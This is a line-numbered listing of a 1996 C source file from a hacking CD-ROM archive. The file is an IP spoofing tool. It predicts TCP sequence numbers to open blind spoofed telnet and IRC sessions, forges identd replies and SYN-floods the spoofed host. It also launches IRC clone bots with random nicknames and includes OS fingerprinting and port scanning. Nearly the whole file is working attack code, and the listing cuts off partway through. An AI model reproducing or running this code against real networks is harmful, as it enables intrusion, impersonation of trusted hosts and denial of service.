home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / hacking / virriiorg / sirc3.c < prev    next >
Encoding:
C/C++ Source or Header  |  1996-04-23  |  29.5 KB  |  1,172 lines
  1. /* This is the latest version of my spoofer. This shouldn't be out */
  2. /*  publically, so if it is, delete it. Anyway, this is a beta, if you */
  3. /*  find a bug, etc email me at erdfelt@canweb.net */
  4. /*        - johan */
  5.  
  6. /* The include files */
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <netdb.h>
  11. #include <stdio.h>
  12. #include <sys/utsname.h>
  13. #include <string.h>
  14. #include <fcntl.h>
  15. #include <stdarg.h>
  16.  
  17. #include "tcpip.h"
  18.  
  19. /* Standard Macro */
  20. #define MIN(x,y) (x<y) ? x : y;
  21.  
  22. /* Default Unreachable host */
  23. #define UNREACHHOST "0.0.0.1"
  24.  
  25. /* This is for the clone bots, taken from a VERY useful post to oprahlust */
  26. /*  by Avalon. I appreciate it, it's MUCH easier to cut and paste than to */
  27. /*  write this from scratch. I modded it a little to make it a little easier */
  28. /*  to work with. */
  29. char *first[] = {
  30.   "alex", "andrew", "andy", "bevan", "bob", "cathy", "chris", "claire",
  31.   "damian", "dan", "danial", "dave", "david", "diana", "diane",
  32.   "fred", "greg", "george", "helen", "horris", "ignrid", "ian", "iain",
  33.   "jack", "james", "jenny", "john", "kali", "kathy", "kyle", "kylie",
  34.   "lauren", "laura", "lisa", "mark", "mary", "melinda", "michael",
  35.   "michele", "mike", "natasha", "neil", "noel", "odo",
  36.   "perry", "phil", "phillip", "rick", "robert",
  37.   "sean", "sue", "tammy", "tom", "tommy", "winston", "zhora",
  38. };
  39. char *last[] = {
  40.   "allen", "andrews", "barton", "blue", "clark", "clarke", "chang",
  41.   "crow", "ewing", "dixon", "fenwick", "gowen", "grant", "green",
  42.   "gream", "harris", "harvey", "howard", "hoyle", "hume", "irving",
  43.   "jackson", "jones", "lee", "lewis", "lloyd", "macleod", "martin",
  44.   "mathews", "norris", "nelson", "osborn", "payne", "perry", "reid",
  45.   "roberts", "salter", "seng", "simpson", "slater", "smith",
  46.   "thompson", "ung", "ubert", "vainer", "wills", "wilson", "wood",
  47.   "young", "zahra",
  48. };
  49. #define NUMLAST sizeof(last)/sizeof(char *)
  50. #define NUMFIRST sizeof(first)/sizeof(char *)
  51.  
  52. char *numbers[] = {"0","1","2","3","4","5","6","7","8","9"};
  53.  
  54. /* Some flags */
  55. #define FL_FLOODHOST    0x0001
  56. #define FL_SPOOFIDENTD  0x0002
  57. #define FL_WAITIDENTD   0x0004
  58.  
  59. /* Makes up a new name for the random clones/spoofs */
  60. char *newname(short i, short j)
  61. {
  62.   char name[9];
  63.   short n, m;
  64.  
  65.   if (random() & 1) {
  66.     n = random() % i;
  67.     if (strlen(first[n]) < 7)
  68.       strcpy(name, first[n]);
  69.     if (((random() & 7) < 3) && strlen(name) < 8)
  70.       strncat(name, first[random() % i], 1);
  71.   }
  72.  
  73.   n = random() % j;
  74.   if (strlen(last[n]) < 7)
  75.     strcpy(name, last[n]);
  76.    else {
  77.     m = MIN(random() % 6, 8 - strlen(name));
  78.     strncpy(name, last[n], 7 - m);
  79.     name[7-m] = '\0';
  80.    }
  81.  
  82.   if (((random() & 7) < 3) && (strlen(name) < 8)) {
  83.     strncat(name, first[random() % i], 1);
  84.     if (((random() & 7) < 3) && (strlen(name) < 8))
  85.       strncat(name, first[random() % i], 1);
  86.   } else {
  87.     if (((random() & 7) < 5) && (strlen(name) < 8)) {
  88.       m = random() % 10;
  89.       strncat(name, numbers[m], 1);
  90.       if (!m && ((random() & 7) < 5) && (strlen(name) < 8))
  91.         strncat(name, numbers[random() % 10], 1);
  92.     }
  93.   }
  94.   return((char *)strdup(name));
  95. }
  96.  
  97. /* What the fuck do you think this function does? */
  98. void usage(char *progname) 
  99. {
  100.   printf("Usage: %s [options]\n",progname);
  101.   printf("  -p <host[:port]>\n");
  102.   printf("\tTests the host to see if it is IP spoofable\n");
  103.   printf("  -s <host[:port]> [<unreach ip>]\n");
  104.   printf("\tTests to see if the machine is SYN floodable\n");
  105.   printf("  -o <host[:port]>\n");
  106.   printf("\tAttempts to determine the Operating System of the host\n");
  107.   printf("  -i <server[:port[:spport]]> [<nick> <uname@host[:fport]> <gecos>]\n");
  108.   printf("\tLog onto IRC. If no nick, etc then they will be random\n");
  109.   printf("  -t <host ip[:port]> <spoof ip>\n");
  110.   printf("\tCreate's a telnet like connection\n");
  111.   printf("  -a <host ip> <begin port> <end port>\n");
  112.   printf("\tScans ports from begin to end (Like strobe but better :)\n");
  113.   printf("  -c <#> [<servers> <spoof ip>]\n");
  114.   printf("\tCreate's # of clones reading information from the files specified\n");
  115.   printf("\tDefault = servers.list and spoofs.list\n");
  116.   printf("  -w \tWait for identd port before continuing\n");
  117.   printf("  -d \tAttempt to spoof identd\n");
  118.   printf("  -f \tFlood the spoof'd IP\n");
  119.   printf("\n");
  120.   printf("Note: IP's can be interchanged with a hostname\n");
  121.   printf("Note: Surround the gecos field with \" to preserve the spaces\n");
  122.   exit(1);
  123. }
  124.  
  125. /* Sends one string */
  126. void sendstring(spoofrec *spoof, char *s) 
  127. {
  128.   sendtcp(spoof,CF_ACK | CF_PSH,s,strlen(s),12,2);
  129. }
  130.  
  131. /* Returns the domain name given the IP # */
  132. char *getdomainname(struct sockaddr_in host)
  133. {
  134.   struct hostent *lookup;
  135.  
  136.   if ((lookup = gethostbyaddr((char *)&host.sin_addr,sizeof(long),AF_INET)) != NULL) 
  137.     return((char *)lookup->h_name);
  138.  
  139.   return((char *)inet_ntoa(host.sin_addr));
  140. }
  141.  
  142. char *getstring(void)
  143. {
  144.   short curpos;
  145.   char s[81],ch;
  146.  
  147.   curpos=0;
  148.   while (1) {
  149.     if (fread(&ch,sizeof(char),1,stdin) <= 0) 
  150.       continue;
  151.  
  152.     s[curpos++]=ch;
  153.     if ((ch=='\r') || (ch=='\n')) {
  154.       s[curpos]=0;
  155.       curpos=0;
  156.       return((char *)strdup(s));
  157.     }
  158.   }
  159.   
  160.   return(NULL);
  161. }
  162.  
  163. char *getircstring(void)
  164. {
  165.   return(getstring());
  166. }
  167.  
  168. unsigned long determinetcpseq(short flags, struct sockaddr_in host, 
  169.             unsigned short port, unsigned short *identd)
  170. {
  171.   spoofrec seqpred;
  172.   long lasttime;
  173.   unsigned short done,i,iport,portbase;
  174.   tcprec tcp;
  175.  
  176.   printf("Using port %d as seq pred port\n",port);
  177.  
  178.   /* Make a random port base */
  179.   portbase=2000+getpid();
  180.  
  181.   seqpred.from.sin_addr=getlocalip(host.sin_addr.s_addr);
  182.   seqpred.dest=host;
  183.  
  184.   seqpred.dport=port;
  185.   seqpred.ack=0;
  186.  
  187.   printf("Starting sequence # prediction\n");
  188.   lasttime=0;
  189.   done=0;
  190.   i=0;
  191.   iport=0;
  192.   while (!done) {
  193.     /* Every 2 seconds, send out a SYN packet */
  194.     if (lasttime<time(NULL)) {
  195.       printf("Sending SYN request\n");
  196.       seqpred.sport=portbase+i;
  197.       sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
  198.       i++;
  199.       lasttime=time(NULL)+2;
  200.     }
  201.  
  202.     while ((!done) && (gettcp(&seqpred,&tcp))) {
  203.       if ((ntohs(tcp.dport)==113) && (!iport)) {
  204.         iport=ntohs(tcp.sport);
  205.         printf("Identd port: %d\n",iport);
  206.         if ((flags & FL_WAITIDENTD) && (seqpred.ack))
  207.           done=1;
  208.       }
  209.  
  210.       if (ntohs(tcp.dport)==seqpred.sport) {
  211.         if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
  212.           printf("Connection refused\n");
  213.           exit(1);
  214.         }
  215.         if (!seqpred.ack) {
  216.           printf("Got SYN/ACK back from host\n");
  217.           seqpred.ack=ntohl(tcp.seqnum);
  218.           /* if ((!(flags & FL_WAITIDENTD)) || (iport)) */
  219.             done=1;
  220.         }
  221.       }
  222.     }
  223.   }
  224.  
  225.   if (identd != NULL)
  226.     *identd = iport;
  227.  
  228.   return(seqpred.ack);
  229. }
  230.  
  231. void sendirclogin(spoofrec *spoof, char *nick, char *username, char *gecos)
  232. {
  233.   char s[81];
  234.  
  235.   sendstring(spoof,"\n"); /* Send a blank line */
  236.  
  237.   sprintf(s,"NICK %s\n",nick);
  238.   /* printf(s); */
  239.   sendstring(spoof,s); /* Then the NICK */
  240.  
  241.   sprintf(s,"USER %s %s",username,inet_ntoa(spoof->from.sin_addr));
  242.   sprintf(s,"%s %s :%s\n",s,
  243.     inet_ntoa(spoof->dest.sin_addr),gecos);
  244.   /* printf(s); */
  245.   sendstring(spoof,s); /* And then USER */
  246.  
  247.   sprintf(s,"MODE %s +i\n",nick);
  248.   /* printf(s); */
  249.   sendstring(spoof,s); /* And lastly the MODE */
  250. }
  251.  
  252. /* Connects a spoof to an IRC server given the information */
  253. void connectirc(short flags, struct sockaddr_in server, short port, 
  254.         char *nick, char *username, struct sockaddr_in shost, 
  255.         short fport, short spport, char *gecos)
  256. {
  257.   struct sockaddr_in fhost;
  258.   spoofrec spoof, identd, flood;
  259.   short i,i1,done;
  260.   unsigned short curpos,iport;
  261.   char s[81],ch;
  262.  
  263.   /* Spoof the identd connection */
  264.   if (flags & FL_SPOOFIDENTD) {
  265.     server.sin_port=htons(port);
  266.     if ((i=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  267.       perror("Opening stream socket");
  268.       exit(1);
  269.     }
  270.     if (connect(i, (struct sockaddr *)&server, sizeof(server)) < 0) {
  271.       perror("Connecting stream socket");
  272.       exit(1);
  273.     }
  274.     close(i);
  275.   }
  276.  
  277.   if (resolve_host("0.0.0.1",&fhost)<0)
  278.     exit(-1);
  279.  
  280.   flood.dest=shost;
  281.   flood.from=fhost;
  282.   flood.seq=spoof.seq-64000;
  283.   flood.ack=0;
  284.   flood.dport=fport;
  285.   for (i=0;i<50;i++) {
  286.     flood.sport=10000-i;
  287.     sendtcp(&flood,CF_SYN,NULL,0,1,1);
  288.   }
  289.  
  290.   spoof.dest=server;
  291.   spoof.from=shost;
  292.  
  293.   spoof.dport=port;
  294.   spoof.sport=fport;
  295.   spoof.seq=128000+getpid();
  296.   spoof.ack=determinetcpseq(flags,server,spport,&iport)+64000;
  297.   printf("ACK: %lu\n",spoof.ack);
  298.  
  299.   sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  300.   sleep(1);
  301.   sendtcp(&spoof,CF_ACK,NULL,0,6,2);
  302.  
  303.   /* Now comes the time to spoof the identd connection */
  304.   if ((flags & FL_SPOOFIDENTD) && (iport)) {
  305.     identd.from=spoof.from;
  306.     identd.dest=spoof.dest;
  307.     identd.sport=113;
  308.     identd.seq=spoof.seq+128000;
  309.     printf("Beginning identd spoofing\n");
  310.     for (i=0;i<10;i++) {
  311.       /* Setup some variables */
  312.       identd.dport=iport+i+1;
  313.       identd.seq+=128000;
  314.       identd.ack=spoof.ack+64001;
  315.   
  316.       /* Send the connection accept packet */
  317.       sendtcp(&identd,CF_SYN | CF_ACK,NULL,0,12,2);
  318.  
  319.       /* sleep(1); */
  320.  
  321.       /* Acknowledge the packet it sends us */
  322.       /* We need to acknowledge the correct # of chars since we need to */
  323.       /*  close this connection quickly before ircd times out */
  324.       identd.ack+=5;
  325.       sprintf(s,"%d",spoof.sport);
  326.       identd.ack+=strlen(s);
  327.       sprintf(s,"%d",spoof.dport);
  328.       identd.ack+=strlen(s);
  329.       sendtcp(&identd,CF_ACK,NULL,0,12,2);
  330.   
  331.       /* Make our packet confirming our identity */
  332.       sprintf(s,"%hu, %hu : USERID : UNIX : %s\r\n",spoof.sport,spoof.dport,username);
  333.       sendstring(&identd,s);
  334.   
  335.       /* sleep(1); */
  336.   
  337.       /* And close the connection */
  338.       sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,12,2);
  339.       identd.seq++;
  340.       identd.ack++;
  341.       sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,12,2);
  342.     }
  343.   }
  344.  
  345.   sleep(1);
  346.   sendirclogin(&spoof,nick,username,gecos);
  347.  
  348.   while (1) 
  349.     sendstring(&spoof,getircstring());
  350. }
  351.  
  352. void connecttelnet(short flags, struct sockaddr_in server, short port,
  353.                    struct sockaddr_in shost)
  354. {
  355.   spoofrec spoof, identd;
  356.   short i,i1,done;
  357.   unsigned short curpos,iport;
  358.   char s[81],ch;
  359.  
  360.   /* Setup the structure and determine the TCP seq # */
  361.   spoof.dest=server;
  362.   spoof.from=shost;
  363.   spoof.dport=port;
  364.   spoof.sport=1234+getpid();
  365.   spoof.seq=128000+getpid();
  366.   spoof.ack=determinetcpseq(flags,server,port,&iport)+64000;
  367.   printf("ACK: %lu\n",spoof.ack);
  368.  
  369.   /* Start up the connection */
  370.   sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  371.   sleep(1);
  372.   sendtcp(&spoof,CF_ACK,NULL,0,6,2);
  373.  
  374.   sleep(1);
  375.  
  376.   /* Send a \n */
  377.   sendstring(&spoof,"\n");
  378.  
  379.   /* Send shit */
  380.   while (1)
  381.     sendstring(&spoof,getstring());
  382. }
  383.  
  384. void connectclones(short flags, short numclones, char *serverfn, char *spooffn)
  385. {
  386.   spoofrec *clones,seqpred;
  387.   char *nickname,s[81],*p;
  388.   short i,i1,j,k,done,portbase,clonenum,fromport;
  389.   long begintime,lasttime;
  390.   FILE *serverl, *spoofl;
  391.   tcprec tcp;
  392.  
  393.   fromport=1024+getpid();
  394.   if (fromport<1024)
  395.     fromport+=1024;
  396.  
  397.   clones=(spoofrec *)malloc(sizeof(spoofrec)*numclones);
  398.  
  399.   serverl=fopen(serverfn,"rt");
  400.   spoofl=fopen(spooffn,"rt");
  401.   portbase=(rand()%1000)+1024;
  402.   for (clonenum=0;clonenum<numclones;) {
  403.     do {
  404.       s[0]=0;
  405.       while (!s[0]) {
  406.         fgets(s,81,serverl);
  407.         if (feof(serverl))
  408.           rewind(serverl);
  409.         s[strlen(s)-1]=0;
  410.       }
  411.       if ((p=strchr(s,':'))!=NULL) {
  412.         *p=0;
  413.         seqpred.dport=atoi(p+1);
  414.       } else
  415.         seqpred.dport=6667;
  416.  
  417.       if (resolve_host(s,&seqpred.dest)<0)
  418.         exit(-1);
  419.  
  420.       seqpred.from.sin_addr=getlocalip(seqpred.dest.sin_addr.s_addr);
  421.       begintime=time(NULL)+10;
  422.       lasttime=0;
  423.       done=0;
  424.       i=0;
  425.       printf("Determining seq #'s for server %s\n",s);
  426.       while (!done) {
  427.         /* Every 2 seconds, send out a SYN packet */
  428.         if (lasttime<time(NULL)) {
  429.           seqpred.sport=portbase;
  430.           sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
  431.           portbase++;
  432.           lasttime=time(NULL)+2;
  433.         }
  434.  
  435.         while ((gettcp(&seqpred,&tcp)) && (!done)) {
  436.           if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
  437.             if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
  438.               printf("Connection refused\n");
  439.               exit(1);
  440.             }
  441.             seqpred.ack=ntohl(tcp.seqnum);
  442.             done=1;
  443.           }
  444.         }
  445.         if (begintime<time(NULL))
  446.           break;
  447.       }
  448.     } while (!done);
  449.  
  450.     i1=(5 < (numclones-clonenum)) ? 5 : (numclones-clonenum);
  451.  
  452.     for (i=0;i<i1;i++) {
  453.       s[0]=0;
  454.       while (!s[0]) {
  455.         fgets(s,81,spoofl);
  456.         if (feof(spoofl))
  457.           rewind(spoofl);
  458.         s[strlen(s)-1]=0;
  459.       }
  460.  
  461.       if (resolve_host(s,&clones[clonenum+i].from)<0)
  462.         exit(-1);
  463.  
  464.       printf("Creating connection for clone #%d from %s\n",clonenum+i+1,inet_ntoa(clones[clonenum+i].from.sin_addr));
  465.       clones[clonenum+i].dest=seqpred.dest;
  466.       clones[clonenum+i].dport=seqpred.dport;
  467.       clones[clonenum+i].sport=fromport++;
  468.       clones[clonenum+i].seq=seqpred.seq+(128000*(i+1))+128000;
  469.       clones[clonenum+i].ack=seqpred.ack+(64000*(i+1));
  470.     }
  471.  
  472.     for (i=0;i<i1;i++)
  473.       sendtcp(&clones[clonenum+i],CF_SYN,NULL,0,1,1);
  474.  
  475.     sleep(1);
  476.  
  477.     for (i=0;i<i1;i++)
  478.       sendtcp(&clones[clonenum+i],CF_ACK,NULL,0,6+i1,2);
  479.  
  480.     sleep(1);
  481.  
  482.     for (i=0;i<i1;i++) {
  483.       do {
  484.         j=random()%NUMFIRST;
  485.       } while (!j);
  486.       do {
  487.         k=random()%NUMLAST;
  488.       } while (!k);
  489.       nickname=newname(j,k);
  490.       sendstring(&clones[clonenum+i],"\n");
  491.       sprintf(s,"NICK %s\n",nickname);
  492.       sendstring(&clones[clonenum+i],s);
  493.       sprintf(s,"USER %s %s %s :%c%s %c%s\n",
  494.         nickname,inet_ntoa(clones[clonenum+i].from.sin_addr),"nope",
  495.         toupper(*first[j]), first[j] + 1,
  496.         toupper(*last[k]), last[k] + 1);
  497.       sendstring(&clones[clonenum+i],s);
  498.     }
  499.     clonenum+=i1;
  500.   }
  501.  
  502.   while (1) {
  503.     p=getircstring();
  504.     for (i=0;i<numclones;i++)
  505.       sendstring(&clones[i],p);
  506.   } 
  507. }
  508.  
  509. #define NUMSENDPACKETS 5
  510.  
  511. void checkipspoofable(struct sockaddr_in dest, short port)
  512. {
  513.   spoofrec spoof;
  514.   tcprec tcp;
  515.   short i, start, numrecvd, ok;
  516.   long lastseq=0, seqlist[NUMSENDPACKETS], timeout, lasttick, diff;
  517.  
  518.   start=getpid()+1234;
  519.  
  520.   spoof.seq=rand();
  521.   spoof.ack=0;
  522.   spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  523.   spoof.dest=dest;
  524.   spoof.dport=port;
  525.   for (i=0;i<NUMSENDPACKETS;i++) {
  526.     spoof.sport=start+i;
  527.     sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  528.     seqlist[i]=0;
  529.   }
  530.  
  531.   timeout=time(NULL)+10;
  532.   while ((numrecvd < NUMSENDPACKETS) && (timeout > time(NULL))) {
  533.     if (lasttick != time(NULL)) {
  534. \      printf("%-2d\r",timeout-time(NULL));
  535.       lasttick=time(NULL);
  536.     }
  537.     if (gettcp(&spoof,&tcp)) {
  538.       if (ntohs(tcp.sport) != port)
  539.         continue;
  540.  
  541.       if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
  542.         printf("Invalid port\n");
  543.         return;
  544.       }
  545.       if (seqlist[ntohs(tcp.dport)-start])
  546.         continue;
  547.  
  548.       printf("%d - %lu",ntohs(tcp.dport),ntohl(tcp.seqnum));
  549.       if (lastseq)
  550.         printf(" - %ld",ntohl(tcp.seqnum)-lastseq);
  551.       lastseq=ntohl(tcp.seqnum);
  552.       numrecvd++;
  553.       seqlist[ntohs(tcp.dport)-start]=ntohl(tcp.seqnum);
  554.       printf("\n");
  555.     }
  556.   }
  557.  
  558.   if (!numrecvd) {
  559.     printf("Results inconclusive, no packets returned. Try again\n");
  560.     return;
  561.   }
  562.  
  563.   /* Find the first non 0 seq # */
  564.   i=0;
  565.   while ((lastseq=seqlist[i])==0)
  566.     i++;
  567.  
  568.   lastseq=seqlist[i++];
  569.  
  570.   while (seqlist[i]==0)
  571.     i++;
  572.  
  573.   diff=seqlist[i]-lastseq;
  574.   ok=numrecvd;
  575.   for (;(i<NUMSENDPACKETS) && (ok);i++) {
  576.     if (!seqlist[i])
  577.       continue;
  578.   
  579.     if ((seqlist[i]-lastseq) >= diff) {
  580.       if (((seqlist[i]-lastseq) % diff) == 0)
  581.         ok=1;
  582.        else
  583.         ok=0;
  584.     } else {
  585.       if ((diff % (seqlist[i]-lastseq)) == 0)
  586.         ok=1;
  587.        else
  588.         ok=0;
  589.     }
  590.     if ((seqlist[i]-lastseq) < diff)
  591.       diff=seqlist[i]-lastseq;
  592.   }
  593.   if (ok)
  594.     printf("Machine is spoofable (inc=%lu)\n",diff);
  595.    else
  596.     printf("Machine is NOT spoofable\n");
  597. }
  598.  
  599. #define NUMFLOOD 20
  600.  
  601. void checksynflood(struct sockaddr_in dest, short dport)
  602. {
  603.   spoofrec spoof, flood;
  604.   tcprec tcp;
  605.   short i, ok, start;
  606.   long timeout;
  607.   struct sockaddr_in fhost;
  608.  
  609.   if (resolve_host("0.0.0.1",&fhost)<0)
  610.     exit(-1);
  611.  
  612.   start=(rand()%10000)+2048;
  613.   flood.seq=rand();
  614.   flood.ack=0;
  615.   flood.from=fhost;
  616.   flood.dest=dest;
  617.   flood.dport=dport;
  618.   for (i=0;i<NUMFLOOD;i++) {
  619.     flood.sport=start+i;
  620.     sendtcp(&flood,CF_SYN,NULL,0,1,1);
  621.   }
  622.  
  623.   spoof.seq=rand();
  624.   spoof.ack=0;
  625.   spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  626.   spoof.dest=dest;
  627.   spoof.dport=dport;
  628.   spoof.sport=getpid();
  629.   sendtcp(&spoof,CF_SYN,NULL,0,1,4);
  630.   timeout=time(NULL)+10;
  631.   ok=0;
  632.   while ((timeout > time(NULL)) && (!ok)) {
  633.     if (gettcp(&spoof,&tcp)) {
  634.       if (ntohs(tcp.dport) == getpid()) 
  635.         ok=1;
  636.     }
  637.   }
  638.   if (!ok)
  639.     printf("Machine MIGHT be SYN floodable\n");
  640.    else
  641.     printf("Machine is NOT SYN floodable\n");
  642.  
  643.   for (i=0;i<NUMFLOOD;i++) {
  644.     flood.sport=start+i;
  645.     sendtcp(&flood,CF_RST,NULL,0,1,2);
  646.   }
  647. }
  648.  
  649. #define OS_UNKNOWN 1
  650. #define OS_BSD44 2
  651. #define OS_LINUX 3
  652. #define OS_WIN95 4
  653.  
  654. #define OSD_WIN95WAIT    0x0001
  655.  
  656. void checkos(struct sockaddr_in dest, short dport)
  657. {
  658.   spoofrec spoof;
  659.   tcprec tcp;
  660.   short done, start, type, flags=0;
  661.   long timeout;
  662.  
  663.   start=(rand()%10000)+2048;
  664.   spoof.seq=rand();
  665.   spoof.ack=0;
  666.   spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  667.   spoof.dest=dest;
  668.   spoof.dport=dport;
  669.   spoof.sport=start;
  670.  
  671.   /* First we'll check for Linux based systems */
  672.   /*  When sent a FIN/SYN packet it replys with FIN/SYN/ACK */
  673.   sendtcp(&spoof,CF_FIN | CF_SYN,NULL,0,1,1);
  674.  
  675.   spoof.sport=start+1;
  676.  
  677.   /* Then we'll check for 4.4 BSD based systems */
  678.   /*  When sent a SYN/ACK it'll close the connection with the window !0 */
  679.   sendtcp(&spoof,CF_SYN | CF_ACK,NULL,0,1,1);
  680.  
  681.   spoof.sport=start+2;
  682.  
  683.   /* Next we'll check for Win95 */
  684.   /*  Will respond to FIN/SYN and to FIN */ 
  685.   sendtcp(&spoof,CF_FIN,NULL,0,1,1);
  686.  
  687.   done=0;
  688.   type=OS_UNKNOWN;
  689.   timeout=time(NULL)+10;
  690.   while ((timeout > time(NULL)) && (!done)) {
  691.     if (gettcp(&spoof,&tcp)) {
  692.       if (ntohs(tcp.sport) != dport)
  693.         continue;
  694.  
  695.       if (ntohs(tcp.dport) == start) {
  696.         if ((tcp.hrc & CF_SYN) && (tcp.hrc & CF_FIN)) {
  697.           type=OS_LINUX;
  698.           done=1;
  699.         } else if (tcp.hrc & CF_SYN) {
  700.           if (flags & OSD_WIN95WAIT) {
  701.             done=1;
  702.             type=OS_WIN95;
  703.           } else 
  704.             flags |= OSD_WIN95WAIT;
  705.         }
  706.       }
  707.       if (ntohs(tcp.dport) == (start+1)) {
  708.         if (tcp.window)  {
  709.           type=OS_BSD44;
  710.           done=1;
  711.         }
  712.       }
  713.       if (ntohs(tcp.dport) == (start+2)) {
  714.         if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
  715.           if (flags & OSD_WIN95WAIT) {
  716.             done=1;
  717.             type=OS_WIN95;
  718.           } else
  719.             flags & OSD_WIN95WAIT;
  720.         }
  721.       }
  722.     }
  723.   }
  724.   switch (type) {
  725.     case OS_UNKNOWN:
  726.       printf("Unknown Operating System\n");
  727.       break;
  728.     case OS_BSD44:
  729.       printf("Operating System is based off of BSD 4.4\n");
  730.       break;
  731.     case OS_LINUX:
  732.       printf("Operating System is Linux\n");
  733.       break;
  734.     case OS_WIN95:
  735.       printf("Operating System is Windows 95/Windows NT\n");
  736.       break;
  737.   }
  738. }
  739.  
  740. void scanports(struct sockaddr_in dest, short sport, short eport)
  741. {
  742.   spoofrec strobe;
  743.   char *portmap;
  744.   tcprec tcp;
  745.   int done=0, index, numfound, curport, sourceport;
  746.   long timeout;
  747.  
  748.   sourceport=getpid()+1024;
  749.  
  750.   strobe.dest=dest;
  751.   strobe.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  752.   strobe.seq=rand();
  753.   strobe.ack=0;
  754.  
  755.   portmap=(char *)malloc(eport-sport);
  756.   memset(portmap,0,eport-sport);
  757.  
  758.   timeout=time(NULL)+10;
  759.   numfound=0;
  760.   curport=sport;
  761.   while (numfound < (eport-sport)) {
  762.     if (timeout < time(NULL)) {
  763.       curport=sport;
  764.       timeout=time(NULL)+10;
  765.     }
  766.  
  767.     while ((curport < eport) && (portmap[curport-sport]))
  768.       curport++;
  769.  
  770.     if (curport < eport) {
  771.       strobe.sport=sourceport;
  772.       strobe.dport=curport;
  773.       sendtcp(&strobe,CF_SYN,NULL,0,1,1);
  774.       curport++;
  775.     }
  776.  
  777.     while (gettcp(&strobe,&tcp))  {
  778.       if ((ntohs(tcp.sport) >= eport) || (ntohs(tcp.sport < sport)))
  779.         continue;
  780.  
  781.       index=ntohs(tcp.sport)-sport;
  782.  
  783.       if (portmap[index])
  784.         continue;
  785.  
  786.       numfound++;
  787.       portmap[index]=1;
  788.       if (tcp.hrc & CF_SYN)  {
  789.         printf("%d is listening\n",ntohs(tcp.sport));
  790.         strobe.sport=sourceport;
  791.         strobe.dport=tcp.sport;
  792.         sendtcp(&strobe,CF_RST,NULL,0,1,1);
  793.       } else
  794.         printf("%-6d\r",ntohs(tcp.sport));
  795.     }
  796.   }
  797. }
  798.  
  799. void checkport(struct sockaddr_in dest, short dport)
  800. {
  801.   spoofrec spoof;
  802.   tcprec tcp;
  803.   char ch;
  804.   unsigned short sport,start;
  805.   short i;
  806.  
  807.   sport=start=(rand()%10000)+2048;
  808.   spoof.seq=0;
  809.   spoof.ack=0;
  810.   spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  811.   spoof.dest=dest;
  812.   spoof.dport=dport;
  813.   spoof.sport=1234;
  814.  
  815. /*
  816.   if (!dport) {
  817.     for (i=1;i<100;i++) {
  818.       spoof.sport=start+i;
  819.       spoof.dport=i;     
  820.       sendtcp(&spoof,CF_ACK | CF_SYN,NULL,0,1,1);
  821.     }
  822.   }
  823. */
  824.  
  825.   while (1) {
  826.     if (gettcp(&spoof,&tcp)) {
  827.       if (tcp.window) {
  828.         printf("Port %d is listening\n",ntohs(tcp.sport));
  829.       } else {
  830. if (dport)
  831.         printf("Port %d is NOT listening\n",ntohs(tcp.sport));
  832.       }
  833. if (dport) {
  834.       printf("Port: %d\n",ntohs(tcp.dport));
  835.       printf("Flags: ");
  836.       if (tcp.hrc & CF_SYN) 
  837.         printf("SYN ");
  838.       if (tcp.hrc & CF_ACK)
  839.         printf("ACK ");
  840.       if (tcp.hrc & CF_RST)
  841.         printf("RST ");
  842.       if (tcp.hrc & CF_FIN)
  843.         printf("FIN ");
  844.       if (tcp.hrc & CF_PSH)
  845.         printf("PSH ");
  846.       printf("%d",tcp.window);
  847.       printf("\n");
  848.       for (i=0;i<16;i++)
  849.         printf("%02X ",((unsigned char *)&tcp)[i]);
  850.       printf("\n");
  851.       for (i=16;i<32;i++)
  852.         printf("%02X ",((unsigned char *)&tcp)[i]);
  853.       printf("\n");
  854.       for (i=32;i<40;i++)
  855.         printf("%02X ",((unsigned char *)&tcp)[i]);
  856.       printf("\n");
  857. }
  858.     }
  859.  
  860.     if (fread(&ch,sizeof(char),1,stdin) <= 0)
  861.       continue;
  862.  
  863.     if (ch == '\n')
  864.       continue;
  865.  
  866.     sport++;
  867.     spoof.sport=sport;
  868.     spoof.seq+=64000;
  869.     
  870.     switch (ch) {
  871.       case '1':
  872.         printf("Sending SYN. port %d\n",sport);
  873.         sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  874.         break;
  875.       case '2':
  876.         printf("Sending SYN/ACK. port %d\n",sport);
  877.         sendtcp(&spoof,CF_ACK | CF_SYN,NULL,0,1,1);
  878.         break;
  879.       case '3':
  880.         printf("Sending FIN. port %d\n",sport);
  881.         sendtcp(&spoof,CF_FIN,NULL,0,1,1);
  882.         break;
  883.       case '4':
  884.         printf("Sending FIN/ACK. port %d\n",sport);
  885.         sendtcp(&spoof,CF_ACK | CF_FIN,NULL,0,1,1);
  886.         break;
  887.       case '5':
  888.         printf("Sending FIN/SYN. port %d\n",sport);
  889.         sendtcp(&spoof,CF_FIN | CF_SYN,NULL,0,1,1);
  890.         break;
  891.       case '6':
  892.         printf("Sending RST. port %d\n",sport);
  893.         sendtcp(&spoof,CF_RST,NULL,0,1,1);
  894.         break;
  895.       case '7':
  896.         printf("Sending RST/ACK. port %d\n",sport);
  897.         sendtcp(&spoof,CF_ACK | CF_RST,NULL,0,1,1);
  898.         break;
  899.       case '8':
  900.         printf("Sending FIN/SYN/ACK. port %d\n",sport);
  901.         sendtcp(&spoof,CF_SYN | CF_ACK | CF_FIN,NULL,0,1,1);
  902.         break;
  903.       case '9':
  904.         printf("Sending SYN/PSH. port %d\n",sport);
